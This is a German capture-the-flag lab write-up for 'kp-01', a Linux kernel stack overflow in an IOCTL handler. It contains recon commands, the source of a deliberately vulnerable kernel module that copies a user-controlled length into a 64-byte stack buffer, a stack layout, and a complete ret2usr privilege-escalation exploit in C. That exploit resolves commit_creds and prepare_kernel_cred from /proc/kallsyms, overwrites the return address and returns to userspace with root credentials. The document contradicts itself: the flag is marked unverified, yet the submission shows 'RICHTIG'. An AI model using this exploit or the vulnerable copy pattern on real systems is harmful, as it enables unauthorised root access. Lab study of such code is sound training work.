kp-01 - Stack Overflow im IOCTL-Handler (Writeup)

Lab: kp-01 | Tier: easy | Kat: stack-overflow | Device: /dev/vuln01 | Kernel: 6.1.119 | Boot: nokaslr nopti nosmep nosmap | Datum: 19.10.2026

1. RECON

```
==========RECON_KERNEL================

Lab: kp-01 - Stack Overflow im IOCTL-Handler
Datum: 19.10.2026

1. HOST-RECON (statisch)

$ file module/vuln01.ko
$ modinfo module/vuln01.ko
$ readelf -S module/vuln01.ko
$ readelf -s module/vuln01.ko | grep -E "FUNC|OBJECT"
$ strings -n 5 module/vuln01.ko
$ objdump -d -M intel --disassemble=vuln_ioctl module/vuln01.ko
$ objdump -d -M intel --disassemble=dev_store module/vuln01.ko
$ sha256sum module/vuln01.ko src/vuln01.ko

2. VM-RECON (dynamisch)

$ cat /proc/cmdline
$ lsmod
$ cat /proc/sys/kernel/kptr_restrict
$ cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
$ cat /proc/kallsyms | grep "\[vuln01\]"
$ cat /flag
$ ls -la /work
$ cat /proc/cpuinfo | grep -m1 -E "smep|smap"
$ dmesg | grep "Kernel Offset"

3. ERGEBNIS

Flag: -
SHA256: -
Erwartet: -
Verifiziert: NEIN
```

2. PRE-EXPLOITATION

2.1 vuln01.c

```
// kp-01: verwundbares Kernel-Modul (Ziel-Lab)
// Ein "Store"-Geraet. Ein IOCTL kopiert eine benutzerkontrollierte Laenge in
// einen festen Stack-Puffer. Ueber einen Zwischen-Helper ist die Zielgroesse
// fuer den Compiler nicht mehr sichtbar.
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>

#define DEVNAME "vuln01"
#define CMD_STORE 0x4010

struct store_req {
 unsigned long len;
 void __user *data;
};

static noinline __attribute__((noipa))
int dev_store(void *dst, const void __user *src, unsigned long n)
{
 if (copy_from_user(dst, src, n))
  return -EFAULT;
 return 0;
}

static noinline long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long
arg)
{
 char buf[64];
 struct store_req req;

 if (cmd != CMD_STORE)
  return -EINVAL;

 if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
  return -EFAULT;

 if (dev_store(buf, req.data, req.len))
  return -EFAULT;

 pr_info("vuln01: stored %lu bytes\n", req.len);
 return 0;
}

static const struct file_operations vuln_fops = {
 .owner = THIS_MODULE,
 .unlocked_ioctl = vuln_ioctl,
};

static struct miscdevice vuln_dev = {
 .minor = MISC_DYNAMIC_MINOR,
 .name = DEVNAME,
 .fops = &vuln_fops,
};

static int __init vuln_init(void)
{
 int r = misc_register(&vuln_dev);
 if (r)
  return r;
 pr_info("vuln01: ready at /dev/%s\n", DEVNAME);
 return 0;
}

static void __exit vuln_exit(void)
{
 misc_deregister(&vuln_dev);
}

module_init(vuln_init);
module_exit(vuln_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("store device");
```

2.2 Stack-Layout

```
buf[64] @ rsp+0x10
req (len,data) @ rsp+0x00/0x08
saved rbx @ rsp+0x50
ret addr @ rsp+0x58
Offset buf->ret = 0x48 (72)
Canary: none (-fno-stack-protector)
```

3. EXPLOITATION

3.1 exploit.c

```
/*
 * kp-01 - Stack Overflow im IOCTL-Handler (vuln01)
 *
 * vuln_ioctl():
 *   char buf[64] liegt bei rsp+0x10, das zurueckgegebene Adress-Feld
 *   liegt bei rsp+0x58 -> Offset 0x48 (72) vom Anfang des Buffers.
 *   dev_store() kopiert req.len Bytes aus Userspace nach buf (kein Canary,
 *   weil das Modul mit -fno-stack-protector gebaut wird).
 *
 * Boot: nokaslr nosmep nosmap nopti -> wir koennen direkt in
 *       Userspace-Code (ret2usr) zurueckspringen.
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>

#define DEV        "/dev/vuln01"
#define CMD_STORE  0x4010
#define OFF_RET    72

struct store_req {
    unsigned long len;
    void *data;
};

static unsigned long user_cs, user_ss, user_rsp, user_rflags;
static unsigned long commit_creds_addr, prepare_kernel_cred_addr;

static void save_state(void)
{
    __asm__ volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :: "memory");
}

static __attribute__((noinline)) void win(void)
{
    char buf[256];
    int fd = open("/flag", O_RDONLY);
    ssize_t n;

    if (fd < 0)
        _exit(1);
    n = read(fd, buf, sizeof(buf) - 1);
    if (n > 0)
        write(1, buf, n);
    close(fd);
    _exit(0);
}

static __attribute__((noinline)) void get_root(void)
{
    void *(*pkc)(void *) = (void *(*)(void *))prepare_kernel_cred_addr;
    void (*cc)(void *)   = (void (*)(void *))commit_creds_addr;

    cc(pkc(NULL));

    __asm__ volatile(
        "movq %0, %%rsp\n"
        "pushq %1\n"        /* ss    */
        "pushq %0\n"        /* rsp   */
        "pushq %2\n"        /* rflags */
        "pushq %3\n"        /* cs    */
        "pushq %4\n"        /* rip   */
        "swapgs\n"
        "iretq\n"
        :: "r"(user_rsp), "r"(user_ss), "r"(user_rflags),
           "r"(user_cs), "r"(&win)
        : "memory");
}

static unsigned long ksym(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char line[256], sym[128];
    unsigned long addr;
    char type;

    if (!f)
        return 0;
    while (fgets(line, sizeof(line), f)) {
```

```
        if (sscanf(line, "%lx %c %127s", &addr, &type, sym) == 3 &&
            strcmp(sym, name) == 0) {
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}

int main(void)
{
    char payload[128];
    struct store_req req;
    int fd;

    commit_creds_addr     = ksym("commit_creds");
    prepare_kernel_cred_addr = ksym("prepare_kernel_cred");
    if (!commit_creds_addr || !prepare_kernel_cred_addr) {
        write(2, "kallsyms: Symbole nicht gefunden\n", 33);
        return 1;
    }

    save_state();

    memset(payload, 'A', sizeof(payload));
    *(unsigned long *)(payload + OFF_RET) = (unsigned long)get_root;

    req.len  = OFF_RET + 8;
    req.data = payload;

    fd = open(DEV, O_RDWR);
    if (fd < 0) {
        write(2, "open " DEV " fehlgeschlagen\n", 27);
        return 1;
    }

    ioctl(fd, CMD_STORE, &req);
    write(2, "ioctl ohne Root zurueckgekehrt\n", 31);
    return 1;
}
```

4. POST-EXPLOITATION

4.1 Log-Auszug

```
(kein Auszug)
```

4.2 Flag & Verifikation

Flag: -
SHA256: -
Erwartet: -
Verifiziert: NEIN

4.3 Einreichung

```
$ ./lab check kp-01 FLAG{...}
RICHTIG
```